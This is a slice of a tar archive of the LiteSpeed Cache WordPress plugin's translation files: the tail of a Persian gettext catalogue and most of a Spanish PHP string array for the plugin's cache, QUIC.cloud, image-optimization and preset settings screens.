msgstr "نقش‌ها را کش نکنید"

#. Author URI of the plugin
#: litespeed-cache.php
msgid "https://www.litespeedtech.com"
msgstr "https://www.litespeedtech.com"

#. Author of the plugin
#: litespeed-cache.php
msgid "LiteSpeed Technologies"
msgstr "LiteSpeed Technologies"

#. Plugin Name of the plugin
#: litespeed-cache.php tpl/banner/new_version.php:57
#: tpl/banner/new_version_dev.tpl.php:21 tpl/cache/more_settings_tip.tpl.php:28
#: tpl/esi_widget_edit.php:41 tpl/inc/admin_footer.php:17
msgid "LiteSpeed Cache"
msgstr "LiteSpeed Cache"

#: src/lang.cls.php:259
msgid "Debug Level"
msgstr "سطح اشکال زدایی (دیباگ)"

#: tpl/general/settings.tpl.php:72 tpl/general/settings.tpl.php:79
#: tpl/general/settings.tpl.php:86 tpl/general/settings.tpl.php:103
#: tpl/page_optm/settings_media.tpl.php:253
#: tpl/page_optm/settings_vpi.tpl.php:44
msgid "Notice"
msgstr "توضیحات"

#: tpl/cache/settings-purge.tpl.php:31
msgid "Term archive (include category, tag, and tax)"
msgstr "آرشیو دوره (شامل دسته، برچسب و مالیات)"

#: tpl/cache/settings-purge.tpl.php:30
msgid "Daily archive"
msgstr "بایگانی روزانه"

#: tpl/cache/settings-purge.tpl.php:29
msgid "Monthly archive"
msgstr "بایگانی ماهانه"

#: tpl/cache/settings-purge.tpl.php:28
msgid "Yearly archive"
msgstr "بایگانی سالانه"

#: tpl/cache/settings-purge.tpl.php:27
msgid "Post type archive"
msgstr "بایگانی پست‌تایپ"

#: tpl/cache/settings-purge.tpl.php:26
msgid "Author archive"
msgstr "بایگانی نویسنده"

#: tpl/cache/settings-purge.tpl.php:23
msgid "Home page"
msgstr "صفحه نخست"

#: tpl/cache/settings-purge.tpl.php:22
msgid "Front page"
msgstr "صفحه اصلی"

#: tpl/cache/settings-purge.tpl.php:21
msgid "All pages"
msgstr "تمام صفحات"

#: tpl/cache/settings-purge.tpl.php:73
msgid "Select which pages will be automatically purged when posts are published/updated."
msgstr "وقتی صفحات منتشر شده/ بروز می شوند، انتخاب کنید کدام صفحات به صورت خودکار پاک شوند."

#: tpl/cache/settings-purge.tpl.php:50
msgid "Auto Purge Rules For Publish/Update"
msgstr "قوانین پاکسازی خودکار برای انتشار یا بروزرسانی"

#: src/lang.cls.php:91
msgid "Default Public Cache TTL"
msgstr "کش عمومی پیش‌فرض TTL"

#: src/admin-display.cls.php:1327 tpl/cache/settings_inc.object.tpl.php:162
#: tpl/crawler/settings.tpl.php:43 tpl/esi_widget_edit.php:78
msgid "seconds"
msgstr "ثانیه"

#: src/lang.cls.php:258
msgid "Admin IPs"
msgstr "IP‌های مدیریت"

#: src/admin-display.cls.php:253
msgid "General"
msgstr "عمومی"

#: tpl/cache/entry.tpl.php:100
msgid "LiteSpeed Cache Settings"
msgstr "تنظیمات کش لایت اسپید"

#: src/purge.cls.php:235
msgid "Notified LiteSpeed Web Server to purge all LSCache entries."
msgstr "پاکسازی تمام ورودی‌های LSCache به LiteSpeed Web Server اعلام شد."

#: src/gui.cls.php:554 src/gui.cls.php:562 src/gui.cls.php:570
#: src/gui.cls.php:579 src/gui.cls.php:589 src/gui.cls.php:599
#: src/gui.cls.php:609 src/gui.cls.php:619 src/gui.cls.php:628
#: src/gui.cls.php:638 src/gui.cls.php:648 src/gui.cls.php:736
#: src/gui.cls.php:744 src/gui.cls.php:752 src/gui.cls.php:761
#: src/gui.cls.php:771 src/gui.cls.php:781 src/gui.cls.php:791
#: src/gui.cls.php:801 src/gui.cls.php:810 src/gui.cls.php:820
#: src/gui.cls.php:830 tpl/page_optm/settings_media.tpl.php:141
#: tpl/toolbox/purge.tpl.php:40 tpl/toolbox/purge.tpl.php:47
#: tpl/toolbox/purge.tpl.php:55 tpl/toolbox/purge.tpl.php:64
#: tpl/toolbox/purge.tpl.php:73 tpl/toolbox/purge.tpl.php:82
#: tpl/toolbox/purge.tpl.php:91 tpl/toolbox/purge.tpl.php:100
#: tpl/toolbox/purge.tpl.php:109 tpl/toolbox/purge.tpl.php:117
msgid "Purge All"
msgstr "پاکسازی همه"

#: src/admin-display.cls.php:538 src/gui.cls.php:718
#: tpl/crawler/entry.tpl.php:17
msgid "Settings"
msgstr "تنظیمات"

#: tpl/banner/score.php:122
msgid "Support forum"
msgstr "انجمن پشتیبانی"litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-es_ES.l10n.php000064400000433025151031165260021275 0ustar00<?php
return ['x-generator'=>'GlotPress/4.0.1','translation-revision-date'=>'2025-09-11 18:53:40+0000','plural-forms'=>'nplurals=2; plural=n != 1;','project-id-version'=>'Plugins - LiteSpeed Cache - Stable (latest release)','language'=>'es','messages'=>['Turn on OptimaX. This will automatically request your pages OptimaX result via cron job.'=>'Activa OptimaX. Esto solicitará automáticamente el resultado de tus páginas OptimaX a través del trabajo cron.','LiteSpeed Cache OptimaX'=>'LiteSpeed Cache OptimaX','OptimaX Settings'=>'Ajustes de OptimaX','OptimaX Summary'=>'Resumen de OptimaX','Choose which image sizes to optimize.'=>'Elige qué tamaños de imagen optimizar.','No sizes found.'=>'No se encontraron tamaños.','Optimize Image Sizes'=>'Optimizar tamaños de imagen','OptimaX'=>'OptimaX','LiteSpeed Cache is temporarily disabled until: %s.'=>'LiteSpeed Cache está temporalmente desactivado hasta: %s.','Remove `Disable All Feature` Flag Now'=>'Quitar el indicador \'Desactivar todas las características\' ahora','Disable All Features for 24 Hours'=>'Desactivar todas las características durante 24 horas','LiteSpeed Cache is disabled. This functionality will not work.'=>'LiteSpeed Cache está desactivado. Esta funcionalidad no funcionará.','Filter %s available to change threshold.'=>'Filtro %s disponible para cambiar el umbral.','Scaled size threshold'=>'Umbral de tamaño escalado','Automatically replace large images with scaled versions.'=>'Reemplaza automáticamente imágenes grandes con versiones escaladas.','Auto Rescale Original Images'=>'Redimensionado automático de imágenes originales','UCSS Inline Excluded Files'=>'Archivos excluidos en línea de UCSS','The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again.'=>'La conexión QUIC.Cloud no es correcta. Intenta sincronizar tu conexión a QUIC.cloud de nuevo.','Not enough parameters. Please check if the QUIC.cloud connection is set correctly'=>'No hay suficientes parámetros. Comprueba si la conexión a QUIC.cloud está establecida correctamente','No fields'=>'Sin campos','Value from filter applied'=>'Valor del filtro aplicado','This value is overwritten by the filter.'=>'Este valor es sobrescrito por el filtro.','This value is overwritten by the %s variable.'=>'Este valor es sobrescrito por la variable %s.','QUIC.cloud CDN'=>'CDN de QUIC.cloud','Predefined list will also be combined with the above settings'=>'La lista predefinida también se combinará con los ajustes anteriores','Tuning CSS Settings'=>'Ajustar la configuración de CSS','Predefined list will also be combined with the above settings.'=>'La lista predefinida también se combinará con los ajustes anteriores.','Clear'=>'Vaciar','If not, please verify the setting in the %sAdvanced tab%s.'=>'Si no es así, comprueba la configuración en la %spestaña Avanzado%s.','Close popup'=>'Cerrar ventana emergente','Deactivate plugin'=>'Desactivar el plugin','If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images.'=>'Si has utilizado la Optimización de Imágenes, por favor %sDestruye primero todos los datos de optimización%s. NOTA: esto no elimina tus imágenes optimizadas.','On uninstall, all plugin settings will be deleted.'=>'Al desinstalar, se eliminarán todos los ajustes del plugin.','Why are you deactivating the plugin?'=>'¿Por qué desactivas el plugin?','Other'=>'Otros','Plugin is too complicated'=>'El plugin es demasiado complicado','Site performance is worse'=>'El rendimiento del sitio es peor','The deactivation is temporary'=>'La desactivación es temporal','Deactivate LiteSpeed Cache'=>'Desactivar la caché de LiteSpeed','CDN - Disabled'=>'CDN - Desactivado','CDN - Enabled'=>'CDN - Activado','Connected Date:'=>'Fecha de conexión:','Node:'=>'Nodo:','Service:'=>'Servicio:','Autoload top list'=>'Cargar automáticamente la lista principal','Autoload entries'=>'Cargar entradas automáticamente','Autoload size'=>'Tamaño de carga automática','This Month Usage: %s'=>'Uso de este mes: %s','Usage Statistics: %s'=>'Estadísticas de uso: %s','more'=>'más','Globally fast TTFB, easy setup, and %s!'=>'¡TTFB globalmente rápido, fácil configuración y %s!','Last requested: %s'=>'Última solicitud: %s','Last generated: %s'=>'Última generación: %s','Requested: %s ago'=>'Solicitado: hace %s','LiteSpeed Web ADC'=>'LiteSpeed Web ADC','OpenLiteSpeed Web Server'=>'Servidor web OpenLiteSpeed','LiteSpeed Web Server'=>'Servidor web LiteSpeed','PAYG used this month: %s. PAYG balance and usage not included in above quota calculation.'=>'PAYG utilizado este mes: %s. El saldo y el uso de PAYG no están incluidos en el cálculo de cuota anterior.','Last crawled:'=>'Último rastreo:','%1$s %2$d item(s)'=>'%1$s %2$d elemento(s)','Start watching...'=>'Empieza a ver...','Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence.'=>'Los rastreadores no pueden ejecutarse simultáneamente. Si tanto el cron como una ejecución manual se inician al mismo tiempo, el primero que se inicie tendrá prioridad.','Position: '=>'Posición: ','%d item(s)'=>'%d elemento(s)','Last crawled'=>'Último rastreo','Serve your visitors fast'=>'Sirve rápido a tus visitantes','This will affect all tags containing attributes: %s.'=>'Esto afectará a todas las etiquetas que contengan atributos: %s.','%1$sLearn More%2$s'=>'%1$sAprender más%2$s','Get it from %s.'=>'Obtenerlo de %s.','Reset the OPcache failed.'=>'Error al restablecer el OPcache.','OPcache is restricted by %s setting.'=>'OPcache está restringido por el ajuste %s.','OPcache is not enabled.'=>'OPcache no está activada.','Enable All Features'=>'Activar todas las funciones','e.g. Use %1$s or %2$s.'=>'p.ej. utiliza %1$s o %2$s.','Click to copy'=>'Haz clic para copiar','Rate %1$s on %2$s'=>'Puntúa %1$s en %2$s','Clear %s cache when "Purge All" is run.'=>'Limpiar la caché de %s cuando se ejecuta «Purgar todo».','SYNTAX: alphanumeric and "_". No spaces and case sensitive.'=>'SINTAXIS: alfanumérica y «_». Sin espacios y con distinción entre mayúsculas y minúsculas.','SYNTAX: alphanumeric and "_". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS.'=>'SINTAXIS: alfanumérica y «_». Sin espacios y con distinción entre mayúsculas y minúsculas. DEBE SER ÚNICA Y DISTINTA DE OTRAS APLICACIONES WEB.','Submit a ticket'=>'Enviar un tique','Clear Cloudflare cache'=>'Vaciar la caché de Cloudflare','QUIC.cloud\'s access to your WP REST API seems to be blocked.'=>'El acceso de QUIC.cloud a tu API REST de WP parece estar bloqueado.','Copy Log'=>'Copiar registro','Selectors must exist in the CSS. Parent classes in the HTML will not work.'=>'Los selectores deben existir en el CSS. Las clases principales en el HTML no funcionarán.','List the CSS selectors whose styles should always be included in CCSS.'=>'Lista los selectores CSS cuyos estilos siempre deben incluirse en CCSS.','List the CSS selectors whose styles should always be included in UCSS.'=>'Lista los selectores CSS cuyos estilos siempre deben incluirse en UCSS.','Available after %d second(s)'=>'Disponible después de %d segundo(s)','Enable QUIC.cloud Services'=>'Activar los servicios de QUIC.cloud','The features below are provided by %s'=>'Las siguientes características son proporcionadas por %s','Do not show this again'=>'No volver a mostrar esto','Free monthly quota available. Can also be used anonymously (no email required).'=>'Cuota mensual gratuita disponible. También se puede usar de forma anónima (no se requiere correo electrónico).','Cloudflare Settings'=>'Ajustes de Cloudflare','Failed to detect IP'=>'No se pudo detectar la IP','CCSS Selector Allowlist'=>'Lista de permitidos del selector del CCSS','Outputs to a series of files in the %s directory.'=>'Da salida en una serie de archivos en el directorio %s.','Attach PHP info to report. Check this box to insert relevant data from %s.'=>'Adjuntar información PHP al informe. Marca esta casilla para insertar datos relevantes de %s.','Last Report Date'=>'Fecha del último informe','Last Report Number'=>'Número del último informe','Regenerate and Send a New Report'=>'Regenerar y enviar un nuevo informe','This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action.'=>'Esto restablecerá los %1$s. Si cambiaste los ajustes de WebP/AVIF y quieres generar %2$s para las imágenes previamente optimizadas, utiliza esta acción.','Soft Reset Optimization Counter'=>'Restablecimiento suave del contador de optimización','When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images.'=>'Al cambiar de formato, utiliza %1$s o %2$s para aplicar esta nueva opción a las imágenes previamente optimizadas.','%1$s is a %2$s paid feature.'=>'%1$s es una característica de pago de %2$s.','Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first.'=>'Quita la integración de QUIC.cloud de este sitio. Nota: Los datos de QUIC.cloud se conservarán para que puedas reactivar los servicios en cualquier momento. Si quieres borrar completamente tu sitio de QUIC.cloud, primero borra el dominio a través del escritorio de QUIC.cloud.','Disconnect from QUIC.cloud'=>'Desconectar de QUIC.cloud','Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard.'=>'¿Seguro que quieres desconectar de QUIC.cloud? Esto no eliminará ningún dato del escritorio de QUIC.cloud.','CDN - not available for anonymous users'=>'CDN - no disponible para usuarios anónimos','Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features.'=>'Tu sitio está conectado y utiliza los servicios en línea de QUIC.cloud como <strong>usuario anónimo</strong>. La función CDN y ciertas funciones de los servicios de optimización no están disponibles para usuarios anónimos. Conéctate a QUIC.cloud para usar la CDN y todas las funciones de los servicios en línea disponibles.','QUIC.cloud Integration Enabled with limitations'=>'Integración de QUIC.cloud activada con limitaciones','Your site is connected and ready to use QUIC.cloud Online Services.'=>'Tu sitio está conectado y listo para usar los servicios en línea de QUIC.cloud.','QUIC.cloud Integration Enabled'=>'Integración de QUIC.cloud activada','In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it.'=>'Para utilizar la mayoría de los servicios de QUIC.cloud, necesitas una cuota. QUIC.cloud te ofrece cuota gratuita cada mes, pero si necesitas más, puedes comprarla.','Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding.'=>'Ofrece un <strong>servicio DNS integrado</strong> opcional para simplificar la puesta en marcha de CDN.','Provides <strong>security at the CDN level</strong>, protecting your server from attack.'=>'Proporciona <strong>seguridad a nivel de CDN</strong>, protegiendo tu servidor de ataques.','Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>.'=>'Ofrece cobertura global con una <strong>red en crecimiento de más de 80 PoP</strong>.','Caches your entire site, including dynamic content and <strong>ESI blocks</strong>.'=>'Almacena en caché todo tu sitio, incluido el contenido dinámico y los <strong>bloques ESI</strong>.','Content Delivery Network'=>'Red de entrega de contenidos','<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold.'=>'<strong>Viewport Images (VPI)</strong> proporciona una vista completa y bien pulida antes de desplazarse.','<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads.'=>'El <strong>marcador de posición de imagen de baja calidad (LQIP)</strong> le da a tus imágenes un aspecto más agradable a medida que se cargan de forma diferida.','<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall.'=>'<strong>CSS único (UCSS)</strong> elimina las definiciones de estilo no utilizadas para lograr una carga de página más rápida en general.','<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling.'=>'<strong>CSS crítico (CCSS)</strong> carga el contenido visible antes de desplazarse más rápido y con estilo completo.','QUIC.cloud\'s Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores.'=>'Los servicios de optimización de páginas de QUIC.cloud abordan el problema del inflado de CSS y mejoran la experiencia del usuario durante la carga de la página, lo que puede generar mejores puntuaciones de velocidad de la página.','Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee.'=>'El procesamiento de imágenes en formato PNG, JPG y WebP es gratuito. El formato AVIF tiene un coste.','Optionally creates next-generation WebP or AVIF image files.'=>'Crea opcionalmente archivos de imagen WebP o AVIF de próxima generación.','Processes your uploaded PNG and JPG images to produce smaller versions that don\'t sacrifice quality.'=>'Procesa las imágenes PNG y JPG cargadas para producir versiones más pequeñas que no sacrifican la calidad.','QUIC.cloud\'s Image Optimization service does the following:'=>'El servicio de optimización de imágenes de QUIC.cloud hace lo siguiente:','<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading.'=>'La <strong>optimización de página</strong> agiliza los estilos de página y los elementos visuales para una carga más rápida.','<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster.'=>'La <strong>optimización de imágenes</strong> te ofrece archivos de imagen de menor tamaño que se transmiten más rápido.','QUIC.cloud\'s Online Services improve your site in the following ways:'=>'Los servicios en línea de QUIC.cloud mejoran su sitio de las siguientes maneras:','Speed up your WordPress site even further with QUIC.cloud Online Services and CDN.'=>'Acelera aún más tu sitio de WordPress con los servicios en línea y CDN de QUIC.cloud.','QUIC.cloud Integration Disabled'=>'Integración de QUIC.cloud desactivada','QUIC.cloud Online Services'=>'Servicios en línea de QUIC.cloud','Online Services'=>'Servicios en línea','Autoload'=>'Carga automática','Refresh QUIC.cloud status'=>'Actualizar el estado de QUIC.cloud','Refresh'=>'Actualizar','You must be using one of the following products in order to measure Page Load Time:'=>'Debes usar uno de los siguientes productos para medir el tiempo de carga de la página:','Refresh Usage'=>'Actualizar el uso','News'=>'Noticias','You need to set the %s in Settings first before using the crawler'=>'Debes configurar %s en Ajustes antes de usar el rastreador','You must set %1$s to %2$s before using this feature.'=>'Debes configurar %1$s en %2$s antes de usar esta característica.','You must set %s before using this feature.'=>'Debes configurar %s antes de usar esta característica.','My QUIC.cloud Dashboard'=>'Mi escritorio de QUIC.cloud','You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard.'=>'Actualmente estás utilizando los servicios como usuario anónimo. Para gestionar tus opciones de QUIC.cloud, utiliza el botón de abajo para crear una cuenta y acceder al escritorio de QUIC.cloud.','To manage your QUIC.cloud options, go to QUIC.cloud Dashboard.'=>'Para gestionar tus opciones de QUIC.cloud, ve al escritorio de QUIC.cloud.','To manage your QUIC.cloud options, please contact your hosting provider.'=>'Para gestionar tus opciones de QUIC.cloud, comunícate con tu proveedor de alojamiento.','To manage your QUIC.cloud options, go to your hosting provider\'s portal.'=>'Para gestionar tus opciones de QUIC.cloud, ve al portal de tu proveedor de alojamiento.','QUIC.cloud CDN Options'=>'Opciones de CDN de QUIC.cloud','Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!'=>'¡El mejor rendimiento disponible para WordPress, TTFB globalmente rápido, fácil configuración y %smucho más%s!','no matter where they live.'=>'no importa dónde vivan.','Content Delivery Network Service'=>'Servicio de red de entrega de contenido','Enable QUIC.cloud CDN'=>'Activar la CDN de QUIC.cloud','Link & Enable QUIC.cloud CDN'=>'Enlazar y activar la CDN de QUIC.cloud','QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users.'=>'La CDN de QUIC.cloud <strong>no está disponible</strong> para usuarios anónimos (sin enlazar).','QUIC.cloud CDN is currently <strong>fully disabled</strong>.'=>'La CDN de QUIC.cloud está actualmente <strong>totalmente desactivada</strong>.','Learn More about QUIC.cloud'=>'Obtén más información acerca de QUIC.cloud','QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud.'=>'QUIC.cloud ofrece servicios de CDN y optimización en línea, y no es obligatorio. Puedes usar muchas características de este plugin sin QUIC.cloud.','Enable QUIC.cloud services'=>'Activar los servicios de QUIC.cloud','Free monthly quota available.'=>'Cuota mensual gratuita disponible.','Speed up your WordPress site even further with <strong>QUIC.cloud Online Services and CDN</strong>.'=>'Acelera aún más su sitio de WordPress con los <strong>servicios en línea y CDN de QUIC.cloud</strong>.','Accelerate, Optimize, Protect'=>'Acelera, optimiza, protege','Check the status of your most important settings and the health of your CDN setup here.'=>'Verifica el estado de tus ajustes más importantes y el estado de tu configuración CDN aquí.','QUIC.cloud CDN Status Overview'=>'Resumen del estado de CDN de QUIC.cloud','Refresh Status'=>'Actualizar Estado','Other Static CDN'=>'Otra CDN estática','Dismiss this notice.'=>'Descartar este aviso.','Send to twitter to get %s bonus'=>'Envíar a X para obtener %s de bonificación','Spread the love and earn %s credits to use in our QUIC.cloud online services.'=>'Difunde el amor y gana %s créditos para usar en nuestros servicios en línea QUIC.cloud.','No backup of unoptimized AVIF file exists.'=>'No existe ninguna copia de seguridad del archivo AVIF sin optimizar.','AVIF saved %s'=>'AVIF guardado %s','AVIF file reduced by %1$s (%2$s)'=>'Archivo AVIF reducido en %1$s (%2$s)','Currently using original (unoptimized) version of AVIF file.'=>'Actualmente se utiliza la versión original (sin optimizar) del archivo AVIF.','Currently using optimized version of AVIF file.'=>'Actualmente se utiliza la versión optimizada del archivo AVIF.','WebP/AVIF For Extra srcset'=>'WebP/AVIF para srcset adicional','Next-Gen Image Format'=>'Formato de imagen de próxima generación','Enabled AVIF file successfully.'=>'Archivo AVIF activado correctamente.','Disabled AVIF file successfully.'=>'El archivo AVIF desactivado correctamente.','Reset image optimization counter successfully.'=>'Restablecido el contador de optimización de imágenes correctamente.','Filename is empty!'=>'¡El nombre del archivo está vacío!','You will need to finish %s setup to use the online services.'=>'Necesitarás finalizar la configuración de %s para utilizar los servicios en línea.','Sync QUIC.cloud status successfully.'=>'Sincronizado el estado de QUIC.cloud correctamente.','Linked to QUIC.cloud preview environment, for testing purpose only.'=>'Enlazado al entorno de vista previa de QUIC.cloud, solo para fines de prueba.','Click here to proceed.'=>'Haz clic aquí para continuar.','Site not recognized. QUIC.cloud deactivated automatically. Please reactivate your QUIC.cloud account.'=>'Sitio no reconocido. QUIC.cloud se desactivó automáticamente. Reactiva tu cuenta de QUIC.cloud.','Reset %s activation successfully.'=>'Restablecida la activación de %s correctamente.','Congratulations, %s successfully set this domain up for the online services with CDN service.'=>'Felicidades, %s configuró correctamente este dominio para los servicios en línea con servicio CDN.','Congratulations, %s successfully set this domain up for the online services.'=>'Felicidades, %s configuró correctamente este dominio para los servicios en línea.','Congratulations, %s successfully set this domain up for the anonymous online services.'=>'Felicidades, %s configuró correctamente este dominio para los servicios anónimos en línea.','%s activation data expired.'=>'%s datos de activación caducados.','Failed to parse %s activation status.'=>'No se pudo analizar el estado de activación de %s.','Failed to validate %s activation data.'=>'No se pudieron validar los datos de activación de %s.','Cert or key file does not exist.'=>'El archivo de certificado o clave no existe.','You need to activate QC first.'=>'Primero debes activar QC.','You need to set the %1$s first. Please use the command %2$s to set.'=>'Primero debes configurar %1$s. Usa el comando %2$s para configurarlo.','Failed to get echo data from WPAPI'=>'No se pudieron obtener los datos de eco de WPAPI','The user with id %s has editor access, which is not allowed for the role simulator.'=>'El usuario con id %s tiene acceso de editor, que no tiene permisos para el simulador de perfiles.','You have used all of your quota left for current service this month.'=>'Has utilizado toda la cuota que te quedaba para el servicio actual este mes.','Learn more or purchase additional quota.'=>'Más información o compra cuota adicional.','You have used all of your daily quota for today.'=>'Has utilizado toda tu cuota diaria de hoy.','If comment to be kept is like: %1$s write: %2$s'=>'Si el comentario a conservar es como: %1$s escribe: %2$s','When minifying HTML do not discard comments that match a specified pattern.'=>'Al minimizar HTML no descartes los comentarios que coincidan con un patrón especificado.','Specify an AJAX action in POST/GET and the number of seconds to cache that request, separated by a space.'=>'Especifica una acción AJAX en POST/GET y el número de segundos para almacenar en caché esa petición, separados por un espacio.','HTML Keep Comments'=>'HTML Mantener comentarios','AJAX Cache TTL'=>'TTL de caché AJAX','You have images waiting to be pulled. Please wait for the automatic pull to complete, or pull them down manually now.'=>'Tienes imágenes esperando a ser retiradas. Espera a que se complete la extracción automática o bájalas manualmente ahora.','Clean all orphaned post meta records'=>'Limpiar todos los registros meta de entradas huérfanas','Orphaned Post Meta'=>'Meta de entrada huérfano','Best available WordPress performance'=>'El mejor rendimiento disponible para WordPress','Clean orphaned post meta successfully.'=>'Limpieza correcta de los meta de entrada huérfanos.','Last Pulled'=>'Última extracción','You can list the 3rd party vary cookies here.'=>'Puedes listar las cookies de terceros que varían aquí.','Vary Cookies'=>'Variar cookies','Preconnecting speeds up future loads from a given origin.'=>'La preconexión acelera las cargas futuras desde un origen determinado.','If your theme does not use JS to update the mini cart, you must enable this option to display the correct cart contents.'=>'Si tu tema no utiliza JS para actualizar el minicarrito, debes activar esta opción para mostrar el contenido correcto del carrito.','Generate a separate vary cache copy for the mini cart when the cart is not empty.'=>'Generar una copia de caché variable separada para el minicarrito cuando éste no esté vacío.','Vary for Mini Cart'=>'Variante según el minicarrito','DNS Preconnect'=>'Preconexión DNS','This setting is %1$s for certain qualifying requests due to %2$s!'=>'¡Este ajuste es %1$s para determinadas solicitudes que cumplen los requisitos debido a %2$s!','Listed JS files or inline JS code will be delayed.'=>'Los archivos JS listados o el código JS en línea se retrasarán.','URL Search'=>'Buscar URL','JS Delayed Includes'=>'Inclusiones de JS retrasadas','Your domain_key has been temporarily blocklisted to prevent abuse. You may contact support at QUIC.cloud to learn more.'=>'Tu domain_key ha sido bloqueada temporalmente para evitar abusos. Puedes ponerte en contacto con el servicio de asistencia de QUIC.cloud para obtener más información.','Cloud server refused the current request due to unpulled images. Please pull the images first.'=>'El servidor de la nube ha rechazado la solicitud actual debido a que no se han extraído las imágenes. Por favor, extrae primero las imágenes.','Current server load'=>'Carga actual del servidor','Redis encountered a fatal error: %1$s (code: %2$d)'=>'Redis encontró un error fatal: %1$s (código: %2$d)','Started async image optimization request'=>'Se inició la solicitud de optimización asíncrona de imágenes','Started async crawling'=>'Se inició el rastreo asíncrono','Saving option failed. IPv4 only for %s.'=>'Falló el guardado de la opción. IPv4 es solo para %s.','Cloud server refused the current request due to rate limiting. Please try again later.'=>'El servidor en la nube rechazó la solicitud actual debido a la limitación de cuota. Por favor, inténtalo de nuevo más tarde.','Maximum image post id'=>'ID de entrada de imagen máxima','Current image post id position'=>'Posición actual del id de entrada de la imagen','Images ready to request'=>'Imágenes listas para la solicitud','Redetect'=>'Volver a detectar','If you are using a %1$s socket, %2$s should be set to %3$s'=>'Si estás usando un socket %1$s, %2$s debería estar en %3$s','All QUIC.cloud service queues have been cleared.'=>'Se han borrado todas las colas de servicio de QUIC.cloud.','Cache key must be integer or non-empty string, %s given.'=>'La clave de caché debe ser un entero o una cadena no vacía, %s proporcionado.','Cache key must not be an empty string.'=>'La clave de caché no puede ser una cadena vacía.','JS Deferred / Delayed Excludes'=>'Exclusiones de JS diferido / retrasado','The queue is processed asynchronously. It may take time.'=>'La cola se procesa de forma asíncrona. Puede llevar un tiempo.','In order to use QC services, need a real domain name, cannot use an IP.'=>'Para poder usar los servicios de QC necesitas un nombre de demonio real, no puedes usar una IP.','Restore Settings'=>'Restaurar los ajustes','This will restore the backup settings created %1$s before applying the %2$s preset. Any changes made since then will be lost. Do you want to continue?'=>'Esto restaurará la copia de seguridad de los ajustes creada %1$s antes de aplicar el preajuste %2$s. Cualquier cambio realizado desde entonces se perderá. ¿Quieres continuar?','Backup created %1$s before applying the %2$s preset'=>'Copia de seguridad creada %1$s antes de aplicar el preajuste %2$s','Applied the %1$s preset %2$s'=>'Se ha aplicado el prejuste %1$s %2$s','Restored backup settings %1$s'=>'Se han restaurado el respaldo de los ajustes %1$s','Error: Failed to apply the settings %1$s'=>'Error: No se pudieron aplicar los ajustes %1$s','History'=>'Historial','unknown'=>'desconocido','Apply Preset'=>'Aplicar el preajuste','This will back up your current settings and replace them with the %1$s preset settings. Do you want to continue?'=>'Se va a hacer una copia de seguridad de tus ajustes actuales y reemplazarlos con los de los preajustes %1$s. ¿Quieres continuar?','Who should use this preset?'=>'¿Quién debería usar este preajuste?','Use an official LiteSpeed-designed Preset to configure your site in one click. Try no-risk caching essentials, extreme optimization, or something in between.'=>'Utiliza un preajuste oficial diseñado por LiteSpeed para configurar tu sitio en un clic. Pruebe el cacheo esencial sin riesgos, la optimización extrema o algo intermedio.','LiteSpeed Cache Standard Presets'=>'Preajustes estándar de cache de LiteSpeed','A QUIC.cloud connection is required to use this preset. Enables the maximum level of optimizations for improved page speed scores.'=>'Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Activa el nivel máximo de optimizaciones para mejorar la puntuación de la velocidad de la página.','This preset almost certainly will require testing and exclusions for some CSS, JS and Lazy Loaded images. Pay special attention to logos, or HTML-based slider images.'=>'Este preajuste es casi seguro que requerirá pruebas y exclusiones de algo de CSS, JS y carga diferida de imágenes. Presta especial atención a los logotipos, o a imágenes de carrusel basadas en HTML.','Inline CSS added to Combine'=>'CSS en línea añadido a Combinar','Inline JS added to Combine'=>'JS en línea añadido a Combinar','JS Delayed'=>'JS Retrasado','Viewport Image Generation'=>'Generación del viewport de la imagen','Lazy Load for Images'=>'Carga diferida para imágenes','Everything in Aggressive, Plus'=>'Todo lo de Aggressive y además','Extreme'=>'Extremo','This preset might work out of the box for some websites, but be sure to test! Some CSS or JS exclusions may be necessary in Page Optimization > Tuning.'=>'Este preajuste puede que funcione tal cual en algunas webs, ¡pero asegúrate de hacer pruebas! Puede que sean necesarias algunas exclusiones de CSS y JS en Optimización de página > Retoques.','Lazy Load for Iframes'=>'Carga diferida de Iframes','Removed Unused CSS for Users'=>'CSS sin uso eliminado para los usuarios','Asynchronous CSS Loading with Critical CSS'=>'Carga de CSS asíncrono con CSS crítico','CSS & JS Combine'=>'Combinar CSS y JS','Everything in Advanced, Plus'=>'Todo lo de Advance y además','Aggressive'=>'Agresivo','A QUIC.cloud connection is required to use this preset. Includes many optimizations known to improve page speed scores.'=>'Es obligatoria una conexión QUIC.cloud para utilizar este preajuste. Incluye muchas optimizaciones conocidas por mejorar los resultados de velocidad de la página.','This preset is good for most websites, and is unlikely to cause conflicts. Any CSS or JS conflicts may be resolved with Page Optimization > Tuning 